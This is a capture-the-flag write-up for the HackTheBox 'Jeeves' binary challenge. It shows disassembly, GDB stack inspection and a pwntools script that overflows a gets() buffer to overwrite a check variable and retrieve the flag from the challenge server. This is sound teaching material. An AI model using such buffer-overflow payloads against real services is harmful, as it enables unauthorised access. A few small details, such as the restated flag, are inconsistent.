Hackthebox Jeeves Pwn Challenge
Jeeves is a HackTheBox (binary) Pwn challenge, and is now retired. It’s an easy challenge:
When we connect to the server, we see nothing until we enter input: (Note: The address and port differ between the image above and the nc command below because I stopped and restarted the server while writing this post.)
$ nc 138.68.155.238 30861
AAAA
Hello, good sir!
May I have your name? Hello AAAA, hope you have a good day!
Now lets take a look at the file information:
$ file jeeves
jeeves: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=18c31354ce48c8d63267a9a807f1799988af27bf, for GNU/Linux 3.2.0, not stripped
Let’s take a look at a dump of the code using objdump. We see that main() doesn’t call any functions other than those in libc. Right away I notice at 11f5 that 0xdeadc0d3 is copied to rbp-0x4. This looks like a variable. Further down, another hex string 0x1337bab3 is compared to that same address.
Let’s take a look using Ghidra. In Ghidra, you can see that local_c is set to the value “0xdeadc0d3”. Then the user is prompted to enter their name. Next, local_c is compared to the value 0x1337bab3. If the comparison is true, it opens flag.txt and prints the contents.
The next thing to do is to create a local file, flag.txt where I place the contents “fl@g”. Now lets open the jeeves file using GDB. Using the checksec command, you can see that there is no stack canary, and NX is enabled which means that the stack is not executable.
gdb-peda$ checksec
CANARY : disabled
FORTIFY : disabled
NX : ENABLED
PIE : ENABLED
RELRO : FULL
Next, enter ‘disas main’ and find the address right after the gets@plt call and set a breakpoint there.
gdb-peda$ disas main
Dump of assembler code for function main:
0x00000000000011e9 <+0>: endbr64
0x00000000000011ed <+4>: push rbp
0x00000000000011ee <+5>: mov rbp,rsp
0x00000000000011f1 <+8>: sub rsp,0x40
0x00000000000011f5 <+12>: mov DWORD PTR [rbp-0x4],0xdeadc0d3
0x00000000000011fc <+19>: lea rdi,[rip+0xe05] # 0x2008
0x0000000000001203 <+26>: mov eax,0x0
0x0000000000001208 <+31>: call 0x10a0 <printf@plt>
0x000000000000120d <+36>: lea rax,[rbp-0x40]
0x0000000000001211 <+40>: mov rdi,rax
0x0000000000001214 <+43>: mov eax,0x0
0x0000000000001219 <+48>: call 0x10d0 <gets@plt>
0x000000000000121e <+53>: lea rax,[rbp-0x40]
0x0000000000001222 <+57>: mov rsi,rax
0x0000000000001225 <+60>: lea rdi,[rip+0xe04] # 0x2030
0x000000000000122c <+67>: mov eax,0x0
0x0000000000001231 <+72>: call 0x10a0 <printf@plt>
0x0000000000001236 <+77>: cmp DWORD PTR [rbp-0x4],0x1337bab3
0x000000000000123d <+84>: jne 0x12a8 <main+191>
0x000000000000123f <+86>: mov edi,0x100
0x0000000000001244 <+91>: call 0x10e0 <malloc@plt>
0x0000000000001249 <+96>: mov QWORD PTR [rbp-0x10],rax
0x000000000000124d <+100>: mov esi,0x0
0x0000000000001252 <+105>: lea rdi,[rip+0xdfc] # 0x2055
0x0000000000001259 <+112>: mov eax,0x0
0x000000000000125e <+117>: call 0x10f0 <open@plt>
0x0000000000001263 <+122>: mov DWORD PTR [rbp-0x14],eax
0x0000000000001266 <+125>: mov rcx,QWORD PTR [rbp-0x10]
0x000000000000126a <+129>: mov eax,DWORD PTR [rbp-0x14]
0x000000000000126d <+132>: mov edx,0x100
0x0000000000001272 <+137>: mov rsi,rcx
0x0000000000001275 <+140>: mov edi,eax
0x0000000000001277 <+142>: mov eax,0x0
0x000000000000127c <+147>: call 0x10c0 <read@plt>
0x0000000000001281 <+152>: mov rax,QWORD PTR [rbp-0x10]
0x0000000000001285 <+156>: mov rsi,rax
0x0000000000001288 <+159>: lea rdi,[rip+0xdd1] # 0x2060
0x000000000000128f <+166>: mov eax,0x0
0x0000000000001294 <+171>: call 0x10a0 <printf@plt>
0x0000000000001299 <+176>: mov eax,DWORD PTR [rbp-0x14]
0x000000000000129c <+179>: mov edi,eax
0x000000000000129e <+181>: mov eax,0x0
0x00000000000012a3 <+186>: call 0x10b0 <close@plt>
0x00000000000012a8 <+191>: mov eax,0x0
0x00000000000012ad <+196>: leave
0x00000000000012ae <+197>: ret
End of assembler dump.
gdb-peda$ b *0x000000000000121e
Breakpoint 1 at 0x121e
I got an error when trying to insert a breakpoint. I assume that this is because the file has been stripped of symbols. Instead, let’s break at the program entry point, _start.
gdb-peda$ b _start
Breakpoint 3 at 0x555555555100
gdb-peda$ run
Starting program: /home/kali/Downloads/htb-jeeves/jeeves
Now lets enter ‘disas main’ again and find that address and set a breakpoint.
gdb-peda$ b *0x000055555555521e
Breakpoint 4 at 0x55555555521e
gdb-peda$ c
Continuing.
Hello, good sir!
May I have your name? AAAA
After entering ‘c’ to continue we hit our next breakpoint. Now let’s dump the stack and take a look. Note that I used ‘x/20xw’ which means to examine 20 hex words, or 4 bytes (32 bits). Although the output of the file command above said this is a 64 bit file and in 64 bit we would normally enter ‘x/20xg’ to display in groups of 8 bytes, it’s easier to count stack addresses when printing in groups of 4 bytes. In the stack, we find our payload “AAAA” as 0x41414141 (A is 41 in hex), and further down the stack we see our variable, 0xdeadc0d3 which we need to overwrite to get the flag.
Breakpoint 4, 0x000055555555521e in main ()
gdb-peda$ x/20xw $rsp
0x7fffffffde60: 0x41414141 0x00007f00 0x555552fd 0x00005555
0x7fffffffde70: 0x00000000 0x00000000 0x00000000 0x00000000
0x7fffffffde80: 0x555552b0 0x00005555 0x55555100 0x00005555
0x7fffffffde90: 0xffffdf90 0x00007fff 0x00000000 0xdeadc0d3
0x7fffffffdea0: 0x555552b0 0x00005555 0xf7e13d0a 0x00007fff
First we need to find the address where 0xdeadc0d3 starts. To the left of that row, find the address. Then count over until you reach that hex value. Remember that on x86 we’re storing data in little endian format, so you need to count starting on the right end (least significant bit) and count right to left. Every two hex bits counts as one byte.
0x7fffffffde90: 0xffffdf90 0x00007fff 0x00000000 0xdeadc0d3
Above, you see the starting address which ends in 0 (0x7fffffffde90). So in the first hex word, 0xffffdf90, 90 is 0, df is 1, ff is 2, and ff is 3. Then go to the next hex word and continue counting from right to left. Finally, we find that the address of 0xdeadc0d3 is at 0x7fffffffde9c. Now we need to count the bytes from the beginning of our A’s payload up to the start of the value we need to overwrite (0xdeadc0d3). An easy way to do this is to use gdb as a calculator:
gdb-peda$ p/u 0x7fffffffde9c - 0x7fffffffde60
$1 = 60
As you can see, we need a payload of 60 bytes, plus the value 0x1337bab3. Remember that in little-endian format, we must send the address backwards as ‘\xb3\xba\x37\x13’. In the script below, I use p64 from pwntools to do that for me. Let’s manually enter our payload locally first and see it works to read our local flag.
$ python3
Python 3.9.2 (default, Feb 28 2021, 17:03:44)
[GCC 10.2.1 20210110] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> from pwn import *
>>> payload = b'A' * 60
>>> payload += p64(0x1337bab3)
>>> f = open('data.tmp', 'wb')
>>> f.write(payload)
68
>>> f.close()
Contents of data.tmp:
$ cat data.tmp
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA��7
Now we send data.tmp as input to the program locally:
$ ./jeeves < data.tmp
Hello, good sir!
May I have your name? Hello AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA��7, hope you have a good day!
Pleased to make your acquaintance. Here's a small gift: fl@g
Remember, earlier I had created a local flag.txt file with the same contents.
Let’s use pwntools to solve this. I placed plenty of comments in the code to explain how it works.
$ cat solve.py
#!/usr/bin/env python3
from pwn import * # import pwntools
payload = b'A' * 60 # our 60 byte buffer
payload += p64(0x1337bab3) # Remember we need to send this value in little endian format, and p64 from pwntools does this for us.
conn = remote("138.68.155.238", 30861) # connect to the server host and port
conn.sendline(payload) # send our payload
#conn.interactive() # receive the rest of the output.
Finally, lets run solve.py and get the flag:
$ python3 solve.py
[+] Opening connection to 138.68.155.238 on port 30861: Done
b"Hello, good sir!\nMay I have your name? Hello AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xb3\xba7\x13, hope you have a good day!\nPleased to make your acquaintance. Here's a small gift: HTB{w3lc0me_t0_lAnd_0f_pwn_&_pa1n!}\n"
[*] Closed connection to 138.68.155.238 port 30861
In the output, we see our flag: HTB{w3lc0me_t0lAnd_0f_pwn&_pa1n!}